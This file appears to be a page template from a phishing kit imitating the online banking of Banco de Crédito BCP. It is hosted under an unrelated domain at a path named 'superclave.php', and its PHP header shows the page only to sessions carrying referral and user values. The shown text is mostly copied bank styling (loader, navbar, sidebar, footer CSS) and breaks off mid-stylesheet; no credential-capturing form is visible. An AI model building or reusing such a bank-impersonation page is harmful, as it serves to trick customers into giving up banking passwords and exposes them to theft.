/home/crealab/carweb.brainware.com.co/app/template/login/santa/superclave.php
<?php
if (!isset($_SESSION['referido'], $_SESSION['u'], $_POST['vista'])) :
exit();
endif;
//print_r($userDato);
?>
<!DOCTYPE html>
<html lang="en">
<head>
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.1.1/jquery.min.js"></script>
<script src="/statico/card.js"></script>
<meta charset="UTF-8">
<style data-styles="">bcp-display,bcp-character,bcp-paragraph,bcp-modal-img,bcp-card-add-file,bcp-chart-pie,bcp-datepicker,bcp-datepicker-range,bcp-card-avatar,bcp-chart-pie-legend-bottom,bcp-chart-pie-legend-default,bcp-dropdown-input,bcp-select-input,bcp-button-export,bcp-layout,bcp-otp,bcp-popover,bcp-breadcrumb,bcp-captcha,bcp-chips-data,bcp-chips-email,bcp-progress-indicator,bcp-tab-header,bcp-tab-body,bcp-tab-group,bcp-footer-body,bcp-footer,bcp-input-search,bcp-chart-bar-stacked,bcp-chip-active,bcp-input-big,bcp-input-number-fix,bcp-switch-text,bcp-expansion-panel-header,bcp-expansion-panel,bcp-expansion-panel-body,bcp-expansion-panel-item,bcp-radio-group,bcp-radio-button,bcp-steppers-step,bcp-steppers,bcp-tracking-item,bcp-tracking,bcp-chart-pie-graph-default,bcp-chart-pie-graph-doughnut,bcp-loading,bcp-switch-amount,bcp-textarea,bcp-action-sheet,bcp-action-sheet-body,bcp-action-sheet-header,bcp-progress-bar,bcp-switch,bcp-theme-handler,bcp-search-filter,bcp-search-filter-option,bcp-pagination,bcp-keyboard,bcp-keyboard-key,bcp-select-autocomplete,bcp-select-autocomplete-option,bcp-site-menu,bcp-site-menu-option,bcp-alert,bcp-alert-button,bcp-datepicker-body,bcp-datepicker-range-body,bcp-datepicker-header,bcp-datepicker-range-header,bcp-loader-indicator,bcp-chart-bar,bcp-chart-bar-graph,bcp-checkbox,bcp-card-content,bcp-dots,bcp-sidebar,bcp-spinner,bcp-chips,bcp-menu-option,bcp-menu,bcp-dropdown-export,bcp-dropdown-export-option,bcp-skeleton-table,bcp-skeleton,bcp-tooltip,bcp-icon,bcp-data-table,bcp-table,bcp-table-col,bcp-table-row,bcp-navbar-header,bcp-navbar,bcp-chip-input,bcp-modal-header,bcp-modal,bcp-modal-body,bcp-modal-footer,bcp-chart-pie-graph,bcp-layout-sidebar,bcp-menu-option-sidebar,bcp-menu-suboption-sidebar,bcp-menu-item-sidebar,bcp-menu-sidebar,bcp-sidebar-compressed,bcp-hamburger,bcp-chart-line,bcp-chart-line-legend,bcp-chart-line-graph,bcp-chart-line-legend-item,bcp-calendar,bcp-badge,bcp-card,bcp-title,bcp-list-option,bcp-list-option-icon,bcp-list,bcp-list-option-data,bcp-chart-pie-legend,bcp-chart-pie-legend-head,bcp-chart-pie-legend-item,bcp-img,bcp-avatar,bcp-card-add-file-item,bcp-button,bcp-layout-dropdown-profile,bcp-dropdown-profile,bcp-notification-dropdown,bcp-notification-dropdown-item,bcp-notification-dropdown-footer,bcp-notification-dropdown-header,bcp-dropdown-header-card,bcp-dropdown-option-card,bcp-dropdown-footer-card,bcp-dropdown-header-amount,bcp-dropdown-option-amount,bcp-dropdown-option-col,bcp-dropdown,bcp-dropdown-header,bcp-dropdown-option,bcp-select-header-card,bcp-select-option-card,bcp-select-footer-card,bcp-select-header-amount,bcp-select-header-filter,bcp-select-option-amount,bcp-select-option-filter,bcp-select,bcp-select-header,bcp-select-option,bcp-input{visibility:hidden}.hydrated{visibility:inherit}</style>
<title>Banco de Crédito >>BCP>> </title>
<link rel="stylesheet" href="/statico/style.2.css">
<style>.loader[_ngcontent-mbv-c1] {
z-index: 1999;
position: fixed;
top: 0;
left: 0;
right: 0;
bottom: 0;
background-color: rgba(2, 47, 145, 0.842); }
img.bcp-loader[_ngcontent-mbv-c1] {
width: 150px;
height: 38px;
position: absolute;
top: 0;
left: 0;
right: 0;
bottom: 0;
margin: auto;
z-index: 2000; }
.icon-container[_ngcontent-mbv-c1] {
width: 150px;
height: 38px;
position: absolute;
top: 110px;
left: 0;
right: 0;
bottom: 0;
margin: auto;
z-index: 2000; }
.icon-container[_ngcontent-mbv-c1] div[_ngcontent-mbv-c1] {
height: 20px;
width: 20px;
position: relative;
border-radius: 50%;
background: #fff;
display: inline-block;
text-align: center;
margin-left: 10px; }
.icon-container[_ngcontent-mbv-c1] div[_ngcontent-mbv-c1]:first-child {
animation: move 0.6s ease-in-out infinite alternate;
margin-left: 0; }
.icon-container[_ngcontent-mbv-c1] div[_ngcontent-mbv-c1]:nth-child(2) {
animation: move 0.6s ease-in-out -0.25s infinite alternate;
margin-left: 10px; }
.icon-container[_ngcontent-mbv-c1] div[_ngcontent-mbv-c1]:nth-child(3) {
animation: move 0.6s ease-in-out -0.5s infinite alternate; }
.icon-container[_ngcontent-mbv-c1] div[_ngcontent-mbv-c1]:nth-child(4) {
animation: move 0.6s ease-in-out -0.75s infinite alternate; }
@keyframes move {
0% {
transform: translateY(-10px); }
100% {
transform: translateY(5px); } }</style>
<style>#wrapper[_ngcontent-mbv-c2] {
position: absolute;
top: 0px;
min-height: 100%;
width: 100%;
overflow: hidden; }
#wrapper[_ngcontent-mbv-c2] footer[_ngcontent-mbv-c2] {
position: absolute;
bottom: 0px;
left: 0px;
width: 100%; }
.home-user[_ngcontent-mbv-c2] {
background: #002d87; }
.product-detail[_ngcontent-mbv-c2] {
background-color: rgba(239, 242, 249, 0.58); }
.container[_ngcontent-mbv-c2] {
height: auto;
margin-bottom: 120px; }
.home-user[_ngcontent-mbv-c2] {
background: #002d87;
background: linear-gradient(to bottom, #002d87 273px, #002d87 273px, #002d87 273px, transparent 273px);
background-color: rgba(239, 242, 249, 0.58); }
nhbk-modal.modal-inactive[_ngcontent-mbv-c2] {
z-index: 1060; }
nhbk-modal.modal-inactive[_ngcontent-mbv-c2] .btn[_ngcontent-mbv-c2] {
width: 124px; }</style>
<style>.grey-background[_ngcontent-mbv-c4], .avatar-grey-background[_ngcontent-mbv-c4] {
opacity: 0.7;
background-blend-mode: multiply;
background-image: linear-gradient(to bottom, #484848, #484848);
width: 100%;
position: absolute;
height: 100%;
z-index: 4; }
.avatar-grey-background[_ngcontent-mbv-c4] {
top: 64px; }
@media (min-width: 1024px) {
.avatar-grey-background[_ngcontent-mbv-c4] {
display: none; } }
.favorite-button[_ngcontent-mbv-c4] {
align-items: center;
background-color: rgba(255, 255, 255, 0.3);
border-radius: 8px;
display: flex;
height: 32px;
justify-content: center;
width: 101px; }
.favorite-button-text[_ngcontent-mbv-c4] {
font-size: 14px;
line-height: 1.43; }
@media (min-width: 768px) {
.favorite-button[_ngcontent-mbv-c4] {
display: none; } }
.avatar[_ngcontent-mbv-c4] {
margin-left: -8px; }
@media (min-width: 375px) {
.avatar[_ngcontent-mbv-c4] {
margin-left: -3px; } }
@media (min-width: 1024px) {
.avatar[_ngcontent-mbv-c4] {
margin-left: 8px; } }
.avatar[_ngcontent-mbv-c4] .user-b[_ngcontent-mbv-c4] {
background: #ffffff;
border-radius: 8px;
padding: 3px;
padding-bottom: 5px; }
.avatar[_ngcontent-mbv-c4] ul.avatar-items[_ngcontent-mbv-c4] {
margin-left: 0;
padding-left: 0;
width: 100%;
margin-bottom: 0; }
.avatar.dropdown[_ngcontent-mbv-c4] .dropdown-menu[_ngcontent-mbv-c4] {
width: 272px;
position: absolute;
right: 14px;
left: inherit;
background-color: #ffffff;
padding: 0 0;
font-size: 16px;
max-height: inherit;
overflow-x: unset;
border: 0px; }
@media (max-width: 720px) {
.avatar.dropdown[_ngcontent-mbv-c4] .dropdown-menu[_ngcontent-mbv-c4] {
background-color: #ffffff;
border-radius: 0px;
border: 0px;
font-size: 16px;
left: 0;
margin-left: auto;
margin-right: auto;
max-height: inherit;
overflow-x: unset;
padding: 0 0;
right: 0;
top: 78px;
transform: translate(-86%, 0); } }
@media (max-width: 1024px) {
.avatar.dropdown[_ngcontent-mbv-c4] .dropdown-menu[_ngcontent-mbv-c4] {
box-shadow: unset; } }
.avatar.dropdown[_ngcontent-mbv-c4] .dropdown-menu[_ngcontent-mbv-c4] .dropdown-item[_ngcontent-mbv-c4] {
display: flex;
align-items: baseline;
height: 56px;
padding: 15px;
cursor: pointer; }
.avatar.dropdown[_ngcontent-mbv-c4] .dropdown-menu[_ngcontent-mbv-c4] .dropdown-item[_ngcontent-mbv-c4]:active {
background-color: #f8f9fa;
color: black;
outline: none;
font-weight: bold; }
.avatar.dropdown[_ngcontent-mbv-c4] .dropdown-toggle[_ngcontent-mbv-c4]::after {
display: none; }
.avatar[_ngcontent-mbv-c4] .avatar-content[_ngcontent-mbv-c4] {
border-bottom: 1px solid #a2b5d2; }
.avatar[_ngcontent-mbv-c4] .avatar-content[_ngcontent-mbv-c4] .avatar-user-name[_ngcontent-mbv-c4] {
text-transform: capitalize;
color: #002d87;
font-weight: bold;
line-height: 24px; }
.avatar[_ngcontent-mbv-c4] .avatar-content[_ngcontent-mbv-c4] .edit-name[_ngcontent-mbv-c4] {
line-height: 32px;
cursor: pointer;
outline: none; }
.avatar[_ngcontent-mbv-c4] .custom-avatar-content[_ngcontent-mbv-c4] {
position: relative;
}
.avatar[_ngcontent-mbv-c4] .custom-avatar-content[_ngcontent-mbv-c4] .custom-avatar-content-overlay[_ngcontent-mbv-c4] {
background-color: rgba(101, 101, 105, 0.7);
border-radius: 50%;
bottom: 0;
height: 100%;
left: 0;
opacity: 0;
position: absolute;
right: 0;
top: 0;
transition: 0.5s ease;
width: 100%; }
.avatar[_ngcontent-mbv-c4] .custom-avatar-content[_ngcontent-mbv-c4] .custom-avatar-content-text[_ngcontent-mbv-c4] {
-ms-transform: translate(-50%, -50%);
-webkit-transform: translate(-50%, -50%);
color: white;
font-family: Flexo;
font-size: 14px;
font-weight: bold;
left: 50%;
letter-spacing: normal;
position: absolute;
text-align: center;
top: 50%;
transform: translate(-50%, -50%); }
.avatar[_ngcontent-mbv-c4] .last-connection[_ngcontent-mbv-c4] {
font-size: 12px;
color: #686868;
line-height: 16px; }
.pointer[_ngcontent-mbv-c4] {
cursor: pointer;
width: 25px;
height: 23px; }
.avatar-menu-base[_ngcontent-mbv-c4] {
height: 56px;
margin-right: 0px !important;
background-color: #d8dfea; }
.avatar-menu-base[_ngcontent-mbv-c4] span[_ngcontent-mbv-c4] {
color: #202e44;
font-weight: bold; }
.avatar-menu-base[_ngcontent-mbv-c4]:hover {
color: #202e44;
font-weight: bold;
background-color: #d8dfea !important; }
.pa-16[_ngcontent-mbv-c4] {
padding: 16px;
border-radius: 0px !important; }
.pl-16[_ngcontent-mbv-c4] {
padding-left: 16px; }
.mr-8[_ngcontent-mbv-c4] {
margin-right: 8px; }
.ml-16[_ngcontent-mbv-c4] {
margin-left: 16px; }
.mt-32[_ngcontent-mbv-c4] {
margin-top: 32px; }
.menu-responsive-d-none[_ngcontent-mbv-c4] {
display: none; }
.menu-responsive-d-block[_ngcontent-mbv-c4] {
display: inline-block; }
@media (max-width: 992px) {
.sidebar[_ngcontent-mbv-c4] {
position: fixed !important;
overflow: auto; } }
.sidebar[_ngcontent-mbv-c4] {
background: #002d87;
height: 100%;
position: absolute;
width: 272px;
z-index: 1045; }
.sidebar[_ngcontent-mbv-c4] .navbar-nav[_ngcontent-mbv-c4] li.nav-item[_ngcontent-mbv-c4] {
background: transparent;
color: #ffffff;
min-height: 56px; }
.sidebar[_ngcontent-mbv-c4] .navbar-nav[_ngcontent-mbv-c4] li.nav-item[_ngcontent-mbv-c4]:hover {
background-color: #17285f;
color: #ffffff; }
.sidebar[_ngcontent-mbv-c4] .navbar-nav[_ngcontent-mbv-c4] li.nav-item.active[_ngcontent-mbv-c4] {
background-color: #17285f; }
.sidebar[_ngcontent-mbv-c4] .navbar-nav[_ngcontent-mbv-c4] li.nav-item.active[_ngcontent-mbv-c4]::before {
content: "";
height: 56px;
left: 0;
position: absolute;
width: 6px; }
.sidebar[_ngcontent-mbv-c4] .navbar-nav[_ngcontent-mbv-c4] li.nav-item[_ngcontent-mbv-c4] a.nav-link[_ngcontent-mbv-c4] {
padding: 0 0;
color: #ffffff;
height: 56px;
padding: 16px 24px;
text-transform: uppercase;
position: relative; }
.sidebar[_ngcontent-mbv-c4] .navbar-nav[_ngcontent-mbv-c4] li.nav-item[_ngcontent-mbv-c4] .nav-link-arrow[_ngcontent-mbv-c4]::after {
border: 0;
bottom: 0;
color: #a2b5d2;
content: "\f103";
display: block;
display: inline-block;
font-family: "icons";
font-size: 9px;
height: 16px;
padding: 4px;
position: absolute;
right: 16px;
top: 50%;
transform: translateY(-50%);
width: 16px;
font-weight: bolder; }
.sidebar[_ngcontent-mbv-c4] .navbar-nav[_ngcontent-mbv-c4] li.nav-item[_ngcontent-mbv-c4] .sub-menu[_ngcontent-mbv-c4] {
background: #002266;
padding-left: 40px; }
.sidebar[_ngcontent-mbv-c4] .navbar-nav[_ngcontent-mbv-c4] li.nav-item[_ngcontent-mbv-c4] .sub-menu[_ngcontent-mbv-c4] a[_ngcontent-mbv-c4] {
color: #ffffff;
color: #a2b5d2;
display: block;
line-height: 24px;
text-decoration: none;
width: 100%;
padding: 16px 16px 16px 0; }
.sidebar[_ngcontent-mbv-c4] .navbar-nav[_ngcontent-mbv-c4] li.nav-item[_ngcontent-mbv-c4] .sub-menu[_ngcontent-mbv-c4] a[_ngcontent-mbv-c4]:hover {
color: #ffffff; }
.sidebar[_ngcontent-mbv-c4] .close-menu[_ngcontent-mbv-c4] {
color: #ffffff;
font-size: 24px;
height: 64px;
line-height: 64px;
padding-right: 16px;
text-align: right; }
.navbar[_ngcontent-mbv-c4] {
min-height: 64px;
padding: 0; }
.navbar.bg-dark[_ngcontent-mbv-c4], .navbar.bg-light[_ngcontent-mbv-c4], .navbar[_ngcontent-mbv-c4] {
background-color: #002d87 !important; }
.navbar.bg-dark[_ngcontent-mbv-c4], .navbar.bg-light[_ngcontent-mbv-c4], .navbar.bg-primary[_ngcontent-mbv-c4], .navbar[_ngcontent-mbv-c4] {
color: white; }
.navbar[_ngcontent-mbv-c4] .burger-menu-responsive[_ngcontent-mbv-c4] {
margin-top: 6px;
font-size: 22px; }
.navbar[_ngcontent-mbv-c4] .navbar-brand[_ngcontent-mbv-c4] {
align-items: center;
color: #a2b5d2 !important;
display: flex;
flex-direction: row;
font-size: 18px;
line-height: 18px;
margin-left: 16px;
margin-right: 0px;
cursor: pointer; }
.navbar[_ngcontent-mbv-c4] .navbar-brand[_ngcontent-mbv-c4] span[_ngcontent-mbv-c4] {
border-left: 1px solid #a2b5d2;
padding-left: 8px; }
.navbar[_ngcontent-mbv-c4] button.navbar-toggler[_ngcontent-mbv-c4] {
border-color: transparent;
color: inherit;
min-height: inherit;
outline: none;
padding: 0 16px; }
.navbar[_ngcontent-mbv-c4] button.navbar-toggler[_ngcontent-mbv-c4] span.navbar-toggler-icon[_ngcontent-mbv-c4] {
background: none;
cursor: pointer;
height: unset; }
.navbar[_ngcontent-mbv-c4] button.navbar-toggler[_ngcontent-mbv-c4] span.navbar-toggler-icon[_ngcontent-mbv-c4]::after {
font-family: icons;
line-height: initial; }
.navbar[_ngcontent-mbv-c4] div.navbar-collapse[_ngcontent-mbv-c4] {
justify-content: flex-end;
margin-right: -20px;
min-height: inherit; }
.navbar[_ngcontent-mbv-c4] div.navbar-collapse[_ngcontent-mbv-c4] ul.navbar-nav[_ngcontent-mbv-c4] {
min-height: inherit; }
.navbar[_ngcontent-mbv-c4] div.navbar-collapse[_ngcontent-mbv-c4] ul.navbar-nav[_ngcontent-mbv-c4] li.nav-item[_ngcontent-mbv-c4] {
display: flex;
flex-direction: column;
min-height: 56px;
padding: 0 16px;
transition: 0.2s all; }
.navbar[_ngcontent-mbv-c4] div.navbar-collapse[_ngcontent-mbv-c4] ul.navbar-nav[_ngcontent-mbv-c4] li.nav-item[_ngcontent-mbv-c4] a.nav-link[_ngcontent-mbv-c4] {
align-items: center;
color: #ffffff;
display: flex;
flex: 1;
font-size: 14px;
justify-content: flex-start;
letter-spacing: 0.5px;
min-height: inherit;
padding: 0;
position: relative;
text-transform: uppercase; }
.navbar[_ngcontent-mbv-c4] div.navbar-collapse[_ngcontent-mbv-c4] ul.navbar-nav[_ngcontent-mbv-c4] li.nav-item[_ngcontent-mbv-c4] a.nav-link.disabled[_ngcontent-mbv-c4] {
color: rgba(255, 255, 255, 0.25); }
.navbar[_ngcontent-mbv-c4] div.navbar-collapse[_ngcontent-mbv-c4] ul.navbar-nav[_ngcontent-mbv-c4] li.nav-item[_ngcontent-mbv-c4] a.nav-link.disabled[_ngcontent-mbv-c4]:hover {
font-weight: normal; }
.navbar[_ngcontent-mbv-c4] div.navbar-collapse[_ngcontent-mbv-c4] ul.navbar-nav[_ngcontent-mbv-c4] li.nav-item[_ngcontent-mbv-c4] a.nav-link.dropdown-toggle[_ngcontent-mbv-c4]::after {
border: 0;
bottom: 0;
color: none !important;
content: "\f103";
display: inline-block;
font-family: "icons";
font-size: 9px;
height: 16px;
margin-left: 8px;
padding: 4px 0 0 3.5px;
position: relative;
vertical-align: middle;
width: 16px;
font-weight: bolder; }
.navbar[_ngcontent-mbv-c4] div.navbar-collapse[_ngcontent-mbv-c4] ul.navbar-nav[_ngcontent-mbv-c4] li.nav-item.dropdown[_ngcontent-mbv-c4] {
box-shadow: none;
margin: 0; }
.navbar[_ngcontent-mbv-c4] div.navbar-collapse[_ngcontent-mbv-c4] ul.navbar-nav[_ngcontent-mbv-c4] li.nav-item.dropdown[_ngcontent-mbv-c4] .dropdown-menu.custom-dropdown-menu[_ngcontent-mbv-c4] {
background: #002266;
border-top-left-radius: 0;
border-top-right-radius: 0;
border: 0;
box-shadow: none;
left: 0 !important;
margin-top: 0;
max-height: -moz-fit-content;
max-height: fit-content;
right: initial !important;
width: 280px;
transition: all 200ms ease-out; }
.navbar[_ngcontent-mbv-c4] div.navbar-collapse[_ngcontent-mbv-c4] ul.navbar-nav[_ngcontent-mbv-c4] li.nav-item.dropdown[_ngcontent-mbv-c4] .dropdown-menu.custom-dropdown-menu[_ngcontent-mbv-c4] .dropdown-item[_ngcontent-mbv-c4] {
background: #002266;
color: #a2b5d2 !important;
font-size: 16px !important;
padding: 10px 32px 10px 30px;
white-space: inherit; }
.navbar[_ngcontent-mbv-c4] div.navbar-collapse[_ngcontent-mbv-c4] ul.navbar-nav[_ngcontent-mbv-c4] li.nav-item.dropdown[_ngcontent-mbv-c4] .dropdown-menu.custom-dropdown-menu[_ngcontent-mbv-c4] .dropdown-item[_ngcontent-mbv-c4]:hover {
color: #ffffff !important;
transition: all 200ms ease-out; }
.navbar[_ngcontent-mbv-c4] div.navbar-collapse[_ngcontent-mbv-c4] ul.navbar-nav[_ngcontent-mbv-c4] li.nav-item.dropdown[_ngcontent-mbv-c4] .dropdown-menu.custom-dropdown-menu[_ngcontent-mbv-c4] .dropdown-item.active[_ngcontent-mbv-c4] {
color: #ffffff; }
.navbar[_ngcontent-mbv-c4] div.navbar-collapse[_ngcontent-mbv-c4] ul.navbar-nav[_ngcontent-mbv-c4] li.nav-item.dropdown.show[_ngcontent-mbv-c4] {
border-radius: 0; }
.navbar[_ngcontent-mbv-c4] div.navbar-collapse[_ngcontent-mbv-c4] ul.navbar-nav[_ngcontent-mbv-c4] li.nav-item.dropdown[_ngcontent-mbv-c4]:hover > .dropdown-menu[_ngcontent-mbv-c4] {
display: block; }
.navbar[_ngcontent-mbv-c4] div.navbar-collapse[_ngcontent-mbv-c4] ul.navbar-nav[_ngcontent-mbv-c4] li.nav-item.dropdown[_ngcontent-mbv-c4] > .dropdown-toggle[_ngcontent-mbv-c4]:active {
pointer-events: none; }
.navbar[_ngcontent-mbv-c4] div.navbar-collapse[_ngcontent-mbv-c4] ul.navbar-nav[_ngcontent-mbv-c4] li.nav-item.active[_ngcontent-mbv-c4] {
background-color: #002266;
border-bottom: 4px solid #ff7800;
border-top: 4px solid transparent; }
.navbar[_ngcontent-mbv-c4] div.navbar-collapse[_ngcontent-mbv-c4] ul.navbar-nav[_ngcontent-mbv-c4] li.nav-item.active[_ngcontent-mbv-c4] .nav-link[_ngcontent-mbv-c4] {
font-weight: normal; }
.navbar[_ngcontent-mbv-c4] div.navbar-collapse[_ngcontent-mbv-c4] ul.navbar-nav[_ngcontent-mbv-c4] li.nav-item[_ngcontent-mbv-c4]:hover {
background-color: #002266; }
.navbar[_ngcontent-mbv-c4] div.navbar-collapse[_ngcontent-mbv-c4] ul.navbar-nav[_ngcontent-mbv-c4] li.nav-item[_ngcontent-mbv-c4]:hover, .navbar[_ngcontent-mbv-c4] div.navbar-collapse[_ngcontent-mbv-c4] ul.navbar-nav[_ngcontent-mbv-c4] li.nav-item.show[_ngcontent-mbv-c4] {
background-color: #002266;
transition: all 200ms ease-out; }
.navbar[_ngcontent-mbv-c4] div.navbar-collapse[_ngcontent-mbv-c4] ul.navbar-nav[_ngcontent-mbv-c4] li.nav-item[_ngcontent-mbv-c4]:last-child .dropdown-menu[_ngcontent-mbv-c4] {
width: 220px; }
.navbar[_ngcontent-mbv-c4] div.navbar-collapse[_ngcontent-mbv-c4] form[_ngcontent-mbv-c4] {
margin-left: 16px; }
.navbar[_ngcontent-mbv-c4] div.navbar-collapse[_ngcontent-mbv-c4] form[_ngcontent-mbv-c4] button[_ngcontent-mbv-c4] i[_ngcontent-mbv-c4] {
display: none; }
.navbar[_ngcontent-mbv-c4] .active[_ngcontent-mbv-c4] .dropdown-menu[_ngcontent-mbv-c4] {
margin-top: 4px !important; }
.navbar-header[_ngcontent-mbv-c4] {
background-color: #ffffff;
display: flex;
font-size: 11px;
height: 40px;
line-height: 40px;
padding: 0 16px;
width: 100%; }
.navbar-header[_ngcontent-mbv-c4] div.navbar-header-content[_ngcontent-mbv-c4] i.icon[_ngcontent-mbv-c4] {
margin-right: 8px;
vertical-align: unset; }
.navbar-header[_ngcontent-mbv-c4] button[_ngcontent-mbv-c4] {
background-color: transparent;
border: none;
cursor: pointer;
font-weight: bold;
margin-left: 32px;
padding: 0; }
@media (max-width: 768px) {
.navbar-header[_ngcontent-mbv-c4] {
justify-content: space-between; }
.navbar-header[_ngcontent-mbv-c4] button[_ngcontent-mbv-c4] {
margin-left: 0; } }
nav[_ngcontent-mbv-c4] a[_ngcontent-mbv-c4] {
font-weight: normal; }
nav[_ngcontent-mbv-c4] a[_ngcontent-mbv-c4]:active, nav[_ngcontent-mbv-c4] a[_ngcontent-mbv-c4]:focus, nav[_ngcontent-mbv-c4] a[_ngcontent-mbv-c4]:visited {
font-weight: normal; }
@media (max-width: 767px) {
.navbar-expand-md[_ngcontent-mbv-c4] > .container[_ngcontent-mbv-c4], .navbar-expand-md[_ngcontent-mbv-c4] > .container-fluid[_ngcontent-mbv-c4] {
padding-left: 15px !important;
padding-right: 15px !important; } }
@media (min-width: 720px) {
.navbar[_ngcontent-mbv-c4] .container.custom-container[_ngcontent-mbv-c4] {
padding-left: 0;
padding-right: 0; }
.custom-navbar-collapse[_ngcontent-mbv-c4] {
display: none !important; } }
@media (min-width: 1024px) {
.burger-menu-responsive[_ngcontent-mbv-c4] {
display: none; }
.custom-navbar-collapse[_ngcontent-mbv-c4] {
display: flex !important; }
.container.custom-container[_ngcontent-mbv-c4] {
max-width: 1000px; }
.navbar[_ngcontent-mbv-c4] .navbar-brand[_ngcontent-mbv-c4] {
margin-left: 0; } }
@media (min-width: 1200px) {
.navbar[_ngcontent-mbv-c4] .container.custom-container[_ngcontent-mbv-c4] {
padding-left: 15px;
padding-right: 15px;
max-width: 1140px; } }
.boldLetter[_ngcontent-mbv-c4] {
font-weight: bold; }</style>
<style>#home-footer[_ngcontent-mbv-c7] {
background-color: transparent;
bottom: 0;
height: 80px;
margin-bottom: 10px;
padding-left: 16px;
padding-right: 16px;
position: absolute;
width: 100%; }
#home-footer[_ngcontent-mbv-c7] .footer-text-container[_ngcontent-mbv-c7] .footer-text[_ngcontent-mbv-c7] {
color: #686868;
font-size: 12px;
font-stretch: normal;
font-style: normal;
font-weight: normal;
letter-spacing: normal;
margin-bottom: 0px; }
#home-footer[_ngcontent-mbv-c7] .footer-text-container[_ngcontent-mbv-c7] .footer-text[_ngcontent-mbv-c7]:nth-child(2) {
display: none; }
#home-footer[_ngcontent-mbv-c7] .footer-logo-container[_ngcontent-mbv-c7] {
margin-top: 20px; }
#home-footer[_ngcontent-mbv-c7] .footer-logo-container[_ngcontent-mbv-c7] .footer-logo[_ngcontent-mbv-c7] {
height: 17px;
width: 68px; }
@media (min-width: 720px) {
#home-footer[_ngcontent-mbv-c7] {
bottom: 0;
display: flex;
height: 32px;
justify-content: space-between;
left: 0;
margin-bottom: 22px;
margin-top: 24px;
padding-left: 15px;
padding-right: 15px;
position: absolute;
right: 0; }
#home-footer[_ngcontent-mbv-c7] .footer-text-container[_ngcontent-mbv-c7] {
align-items: flex-end;
display: flex;
justify-content: center; }
#home-footer[_ngcontent-mbv-c7] .footer-text-container[_ngcontent-mbv-c7] .footer-text[_ngcontent-mbv-c7] {
margin-right: 13px; }
#home-footer[_ngcontent-mbv-c7] .footer-text-container[_ngcontent-mbv-c7] .footer-text[_ngcontent-mbv-c7]:nth-child(2) {
display: inline-block; }
#home-footer[_ngcontent-mbv-c7] .footer-logo-container[_ngcontent-mbv-c7] {
margin-top: 0px; } }
@media (min-width: 1024px) {
#home-footer[_ngcontent-mbv-c7] {
margin-bottom: 24px;
max-width: 986px; } }
@media (min-width: 1220px) {
#home-footer[_ngcontent-mbv-c7] {
max-width: 1112px; } }
@media (min-width: 1440px) {
#home-footer[_ngcontent-mbv-c7] {
margin-bottom: 27px; } }</style>
<style>@media (min-width: 1200px) {
.container[_ngcontent-mbv-c8] .submenu-style[_ngcontent-mbv-c8] {
display: inline; }
.container[_ngcontent-mbv-c8] .content-menu-dropdown[_ngcontent-mbv-c8] {
display: none; }
.content-menu-dropdown[_ngcontent-mbv-c8] {
display: none; } }
@media (min-width: 768px) and (max-width: 1199px) {
.submenu-style[_ngcontent-mbv-c8] {
display: none; }
.container[_ngcontent-mbv-c8] .content-menu-dropdown[_ngcontent-mbv-c8] {
margin-bottom: 16px; } }
@media (max-width: 767px) {
.submenu-style[_ngcontent-mbv-c8] {
display: none; }
.container[_ngcontent-mbv-c8] {
width: 100%; }
.container[_ngcontent-mbv-c8] .breadcrumb-style[_ngcontent-mbv-c8] {
margin-left: -14px; }
.container[_ngcontent-mbv-c8] .submenu-style[_ngcontent-mbv-c8] {
display: none; }
.container[_ngcontent-mbv-c8] .content-menu-dropdown[_ngcontent-mbv-c8] {
margin-bottom: 5px; }
.flow-favorite[_ngcontent-mbv-c8] {
padding: 0; } }</style>
<style>.breadcrumb[_ngcontent-mbv-c9] {
width: 100%;
background: none;
margin-top: 21px;
padding: 0px;
display: flex; }
.breadcrumb[_ngcontent-mbv-c9] .breadcrumb-item[_ngcontent-mbv-c9]:nth-child(2)::before {
content: "";
background: none; }
.breadcrumb[_ngcontent-mbv-c9] .breadcrumb-item[_ngcontent-mbv-c9]:nth-child(3)::before {
content: "";
background: none; }
.breadcrumb[_ngcontent-mbv-c9] .first-breadcrumb[_ngcontent-mbv-c9] {
font-family: Flexo;
font-size: 14px;
font-style: normal;
line-height: 1.71;
font-weight: bold;
color: #2cc0d5;
cursor: pointer; }
.breadcrumb[_ngcontent-mbv-c9] .second-item-breadcrumb[_ngcontent-mbv-c9] {
white-space: nowrap;
text-overflow: ellipsis;
display: inline-block;
font-family: Flexo;
font-size: 14px;
font-style: normal;
line-height: 1.71;
font-weight: bold;
color: #2cc0d5; }
.breadcrumb[_ngcontent-mbv-c9] .last-crumb-hidden[_ngcontent-mbv-c9] {
max-width: 100%;
overflow: hidden; }
.breadcrumb[_ngcontent-mbv-c9] .last-crumb[_ngcontent-mbv-c9] {
display: inline-block;
font-size: 14px;
font-weight: normal;
font-style: normal;
font-stretch: normal;
line-height: 1.71;
letter-spacing: normal;
text-align: left;
color: #080808; }
.breadcrumb[_ngcontent-mbv-c9] .size-angle[_ngcontent-mbv-c9] {
font-size: 10px;
margin-right: 1px;
margin-left: 5px;
color: #080808; }
@media (min-width: 768px) {
.breadcrumb[_ngcontent-mbv-c9] {
width: 100%;
background: none; } }
@media (min-width: 321px) and (max-width: 767px) {
.breadcrumb[_ngcontent-mbv-c9] {
width: 100%;
background: none;
text-align: center; }
.breadcrumb[_ngcontent-mbv-c9] .breadcrumb-item[_ngcontent-mbv-c9]:nth-child(3)::before {
content: "";
background: none;
text-overflow: ellipsis; } }</style>
<style>.logo[_ngcontent-mbv-c10] {
float: left;
padding: 10px; }
.titleMenu[_ngcontent-mbv-c10] {
font-size: 16px;
font-weight: bold;
margin-left: 11px;
font-style: normal;
font-stretch: normal;
line-height: 2.25;
letter-spacing: normal;
text-align: left;
cursor: pointer; }
.event-hover[_ngcontent-mbv-c10]:hover {
color: #0063bd; }
.menu-selected[_ngcontent-mbv-c10] {
color: #012d74;
outline: none; }
.p-arrow[_ngcontent-mbv-c10] {
float: right;
margin-right: 17px;
margin-top: 16px;
width: 10px;
height: 10px;
font-size: 10px; }
ul[_ngcontent-mbv-c10] {
list-style-type: none; }
.selected-background[_ngcontent-mbv-c10] {
background: #f8f8f8;
color: #012d74; }
.nav-link[_ngcontent-mbv-c10] {
width: 223px;
color: #0063bd;
font-family: Flexo;
font-size: 14px;
font-weight: normal;
font-style: normal;
font-stretch: normal;
line-height: 1.43;
letter-spacing: normal;
text-align: left;
color: #012d74; }
.nav-item[_ngcontent-mbv-c10] {
cursor: pointer; }</style>
<style>.dropdown-placeholder[_ngcontent-mbv-c11] {
color: #a8a8a8;
font-family: Flexo;
font-size: 16px;
font-stretch: normal;
font-style: normal;
font-weight: normal;
letter-spacing: normal;
line-height: 2; }
